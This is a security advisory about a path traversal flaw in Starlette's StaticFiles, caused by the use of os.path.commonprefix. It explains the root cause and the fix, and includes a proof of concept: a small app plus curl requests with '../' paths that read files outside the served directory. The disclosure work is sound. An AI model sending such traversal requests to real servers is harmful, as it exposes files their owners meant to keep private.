### SummaryWhen using `StaticFiles`, if there's a file or directory that starts with the same name as the `StaticFiles` directory, that file or directory is also exposed via `StaticFiles` which is a path traversal vulnerability.### DetailsThe root cause of this issue is the usage of `os.path.commonprefix()`:https://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174As stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.When passing a path like `/static/../static1.txt`, `os.path.commonprefix([full_path, directory])` returns `./static` which is the common part of `./static1.txt` and `./static`, It refers to `/static/../static1.txt` because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.The solution is to use `os.path.commonpath` as the Python documentation explains that `os.path.commonprefix` works a character at a time, it does not treat the arguments as paths.### PoCIn order to reproduce the issue, you need to create the following structure:```├── static│ ├── index.html├── static_disallow│ ├── index.html└── static1.txt```And run the `Starlette` app with:```pyimport uvicornfrom starlette.applications import Starlettefrom starlette.routing import Mountfrom starlette.staticfiles import StaticFilesroutes = [ Mount("/static", app=StaticFiles(directory="static", html=True), name="static"),]app = Starlette(routes=routes)if __name__ == "__main__": uvicorn.run(app, host="0.0.0.0", port=8000)```And running the commands:```shellcurl --path-as-is 'localhost:8000/static/../static_disallow/'curl --path-as-is 'localhost:8000/static/../static1.txt'```The `static1.txt` and the directory `static_disallow` are exposed.### ImpactConfidentiality is breached: An attacker may obtain files that should not be open to the public.### CreditsSecurity researcher **Masashi Yamane of LAC Co., Ltd** reported this vulnerability to **JPCERT/CC Vulnerability Coordination Group** and they contacted us to coordinate a patch for the security issue.